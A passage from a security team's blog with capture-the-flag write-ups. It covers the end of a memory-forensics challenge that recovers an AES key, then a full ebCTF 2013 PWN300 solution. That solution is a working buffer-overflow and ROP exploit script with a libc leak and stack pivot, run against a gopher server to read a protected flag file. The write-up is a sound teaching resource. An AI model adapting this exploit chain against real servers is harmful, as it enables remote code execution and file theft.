        1317 0x00007f7e9bbfe000 0x00007f7e9bbff000 rw-               0x18000      8      1        972 /lib/x86_64-linux-gnu/libpthread-2.15.so
        1317 0x00007f7e9bbff000 0x00007f7e9bc03000 rw-                   0x0      0      0          0
        1317 0x00007f7e9bc03000 0x00007f7e9bc25000 r-x                   0x0      8      1        985 /lib/x86_64-linux-gnu/ld-2.15.so
        1317 0x00007f7e9bca2000 0x00007f7e9bd96000 rw-                   0x0      0      0          0
        1317 0x00007f7e9bd97000 0x00007f7e9be1f000 rw-                   0x0      0      0          0
        1317 0x00007f7e9be23000 0x00007f7e9be25000 rw-                   0x0      0      0          0
        1317 0x00007f7e9be25000 0x00007f7e9be26000 r--               0x22000      8      1        985 /lib/x86_64-linux-gnu/ld-2.15.so
        1317 0x00007f7e9be26000 0x00007f7e9be28000 rw-               0x23000      8      1        985 /lib/x86_64-linux-gnu/ld-2.15.so
        1317 0x00007fff39317000 0x00007fff39339000 rw-                   0x0      0      0          0 [stack]
        1317 0x00007fff393ff000 0x00007fff39400000 r-x                   0x0      0      0          0
    

    The python2 heap are on high addresses, and we should have some of the strings in it. So let's dump all the address space and search in it.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    $ vol.py --profile=LinuxUbuntu1204x64 -f memory.dump linux_dump_map -p 1317 -D output/
    $ grep -r 'i hide my' output/
    Binary file output/task.1317.0x7f7e9bca2000.vma matches
    Binary file output/task.1317.0x7fff39317000.vma matches
    $ strings output/task.1317.0x7f7e9bca2000.vma | grep 'i hide my'
     i hide my
    is this where i hide my secrets?
    $ strings output/task.1317.0x7fff39317000.vma | grep 'i hide my'
     i hide my
    

    As we can see that it should be 'secrets?'. So we have the final modified python script :

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    import sys
    import time
    import random
    import signal
    from Crypto.Cipher import AES
    key1 = "is this where"
    key2 = ' i hide my '
    key3 = 'secrets?'
    iv = 'a very random iv'
    secret = './flag'
    mode = AES.MODE_CBC
    def encrypt(signum, frame):
            key = key1 + key2 + key3
            enc = AES.new(key, mode, iv)
            inp = raw_input("Enter secret: ")
            diff = len(inp) % 16
            if diff != 0:
                    inp += ' ' * (16 - diff)
            with open(secret, 'wb') as outfile:
                    outfile.write(enc.encrypt(inp))
            del key, enc
    def decrypt(signum, frame):
            key = key1 + key2 + key3
            enc = AES.new(key, mode, iv)
            with open(secret, 'rb') as infile:
                    print(enc.decrypt(infile.read(48)))
            del key, enc
    
    print(decrypt(0, 0))
    

    and the flag is :

    1
    2
    $ python2 ctf.py
    ebctf{55169c1c241aa20412da94b3fcbf8506}
    

    This challenge was interesting, thank you Eindbazen and NFI for these Forensics Challenges. We did not had the time to finish any other, but we will do them later. We hope to see more forensics challenges like that in future CTFs.

    Tweet
    Permalink & comments
  • ebCTF 2013: PWN300

    Written by Clement Rouault
    2013-08-04 20:00:00

    gopherd is a linux elf32 gopher server which respond to simple requests:

    • a request just composed of "\r\n" will make gopherd return its list of files,
    • a request "MD5\r\n" will make gopherd return the content of the file with the matching MD5.

    Unfortunaly, the server replaces the contents of any file called "FLAG" by "ACCESS DENIED"

    Step 1: The vuln

    The vuln is in the function ascii_to_bin used to transform ascii MD5 to binary MD5. A simple buffer overflow can occur because the output buffer (in the caller stack frame) is too small to handle a big string.

    So by requesting a long string, we will be able to rewrite the return address of the caller function.

    But there is another problem in ascii_to_bin function! The function logically uses two ascii chars to generate one bin char but iters over strlen(input_string) so it generates the good binary for the hash we send but also write len(input_string) garbage after, based on what comes after input_string that we can't control.

    ascii_to_bin vulnerable function

    So, if we just give gopherd a hash that will rewrite the return address of the caller: we will fill the caller args with garbage. So here is a part of read_from_client:

    read_from_client call ascii_to_bin and hashlist_find

    We can see that, directly after the call to ascii_to_bin, the function calls hashlist_find with haslist_addr as first argument. hashlist_addr is an argument of the caller that have been randomly rewritten by ascii to bin.

    So to pass the call function to hashlist_find, hashlist_addr need to be a valid pointer with [ptr + 4] == 0 (because hashlist_find simply iters on the values in [ptr +4] and zero will make it return immediately without any problem. An address from the beginning of .data will be perfect.

    Step 2: the sploit

    So, at this point, here is the format of our exploit string:

    1
    sploit = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + ret_addr + 'AAAAAAAA' + hashlist_addr
    

    It seems that ROP would be a good idea here, so let's start! The first thing to do is to set ret_addr at a pop_pop_ret address to remove hashlist_addr from the stack. After that, we will be in a totally controlled ROP environment.

    BUT: there is another problem! The length of the read that the gopherd do is just 255 bytes long. And we know that:

    • each address is encoded on 8 bytes (addresses must be encoded in ascii for ascii_to_bin),
    • we consume 96 chars to trigger the vuln in a exploitable way.

    So we can just use: (255 - 96) / 8 = 19 values in our ROP payload: it won't be enough to perform an "open/read/write" payload.

    So we need to find a stack pivot! RopMount didn't find a good stackpivot in gopherd.

    But we know that ebCTF is using Ubuntu 12.04 LST: so let's try in the libc!

    1
    2
    3
    4
    5
    $ python2 ropmount.py --dump "pop esp; ret" remote_libc.so.6
        ---
        pop esp; ret:
        [base + 0x38b4] pop esp;ret
        ....
    

    We have some nice and simple stack pivot in the remote libc!

    So the attack will consist in 3 phases:

    • Step 1:

      • ROP in gopherd to leak an address of the libc,
      • use this addr to build step 2 and 3.
    • Step 2:

      • ROP to read stage 3 and put it in at a known location and pivot on it!
    • Step 3:

      • full ROP with no length limitation,
      • I chose the following method:

        • read the file name from the socket,
        • open it,
        • read it,
        • send content to the socket!

    Step 3: The full script

    Here is the code used for each step with comments:

      1
      2
      3
      4
      5
      6
      7
      8
      9
     10
     11
     12
     13
     14
     15
     16
     17
     18
     19
     20
     21
     22
     23
     24
     25
     26
     27
     28
     29
     30
     31
     32
     33
     34
     35
     36
     37
     38
     39
     40
     41
     42
     43
     44
     45
     46
     47
     48
     49
     50
     51
     52
     53
     54
     55
     56
     57
     58
     59
     60
     61
     62
     63
     64
     65
     66
     67
     68
     69
     70
     71
     72
     73
     74
     75
     76
     77
     78
     79
     80
     81
     82
     83
     84
     85
     86
     87
     88
     89
     90
     91
     92
     93
     94
     95
     96
     97
     98
     99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    import socket
    import struct
    import sys
    import ropmount
    import time
    
    SERVERD= "54.217.15.93"
    PORTD=7070
    REMOTE = SERVERD, PORTD
    LIBC = "./remote_libc.so.6"
    
    ###HELPERS
    def int_to_strformat(x):
        """transform a raw int to the good str for remote ascii_to_bin"""
        nb = hex(struct.unpack(">I", struct.pack("<I", x))[0])[2:]
        return "0" * (8 - len(nb)) + nb
    
    def ropchain_to_str(ropchain):
        """transform a ropchain to a good str to remote ascii_to_bin"""
        str_rop = ""
        for addr, size in ropchain.stack.dump():
            str_rop += int_to_strformat(addr)
        return str_rop
    
    ###EXPLOIT
    
    
    ##STEP 1
    #The address in DATA with [ptr + 4] == 0
    hashlist_addr = int_to_strformat(0x0804C0C0)
    
    #We ROP on the gopherd binary
    rpc = ropmount.rop_from_files(["./gopherd"])
    
    #Here is the pop_pop_ret to clean the stack before ROP
    pop_pop_ret = rpc.find("{2,2} pop REG32; ret")
    
    #The presumed FD of our socket
    socket_fd = 4
    
    #Get the GOT addr of read
    read_plt =  rpc.get_symbols()['read.got'].value
    
    #Build STEP1 ROP (write was not into gopherd PLT)
    #Just doing send(socket_fd, read_got_addr, 4, 0)
    ropchain = rpc.assemble("call send,{0},{1},4,0".format(socket_fd, read_plt))
    
    #build the full exploit string for STEP1
    sploit = ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
                int_to_strformat(pop_pop_ret.vaddr.dump()[0]) + '42424242' + hashlist_addr + ropchain_to_str(ropchain))
    
    #Send Step 1 and recv read addr in remote libc
    s = socket.create_connection(REMOTE)
    s.send(sploit + "\r\n")
    addr = s.recv(4)
    s.close()
    read_addr = struct.unpack("<I", addr)[0]
    
    
    ##STEP 2
    
    #Now we ROP on gopherd AND the libc
    full_rpc = ropmount.rop_from_files(["./gopherd", LIBC])
    
    #Get libc_base from leaked addr + read offset into libc
    libc_base = read_addr - full_rpc.mapfile[LIBC].get_symbols()['read'].value
    print("libc base : {0}".format(hex(libc_base)))
    
    #Tell to ropmount where is located remote libc to craft RopStack
    full_rpc.mapfile[LIBC].fix_baseaddr(libc_base)
    
    #Buffer used to store filename
    buff = 0x0804C0C0
    #New stack location for the pivot
    new_stack = buff + 100
    
    #Assemble STEP2 :
    # - read STEP3 into new_stack
    # - set esp to new_stack
    ropchain_load = full_rpc.assemble('call read,{1},{0},0x1000; set esp,{0}'.format(new_stack, socket_fd))
    
    #Build the full exploit string for STEP2
    sploit = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + int_to_strformat(pop_pop_ret.vaddr.dump()[0]) + '42424242' + hashlist_addr + ropchain_to_str(ropchain_load)
    
    #Send STEP2
    s = socket.create_connection(REMOTE)
    s.send(sploit + "\r\n")
    time.sleep(1)
    #Now remote is waiting for STEP3
    
    
    #STEP3
    
    #The presumed socket of the newly opened file
    file_fd = socket_fd - 1
    
    #Assemble STEP3
    # - read filename from socket_fd into buff
    # - open file
    # - read file into into buff
    # - write buff into socket_fd
    last_rop = full_rpc.assemble("call read,{1},{0},50; call open,{0},4;call read,{2},{0},100; call write,{1},{0},100".format(buff, socket_fd, file_fd))
    
    #We are not passing through ascii_to_bin anymore: raw binary ROP
    s.send(last_rop.stack.dump('raw'))
    time.sleep(1)
    
    #Now remote is waiting for filename
    s.send("./goproot/FLAG")
    
    #print content of filename
    print("------")
    print(s.recv(100))
    

    Step 4: Launch

    1
    2
    3
    4
    5
    6
    7
    8
    $ python2 client.py
    libc base : 0xf7617000
    ------
        0h my g0d, I am defeat.
    
            Here, take this:
    
                  ebCTF{35a6673b2243c925e02e85dfa916036f}
    

    Tweet
    Permalink & comments
    • « First
    • 3
    • 4
    • 5
    • 6
    • 7
    • Last »

© LSE 2012 — Main website — RSS Feed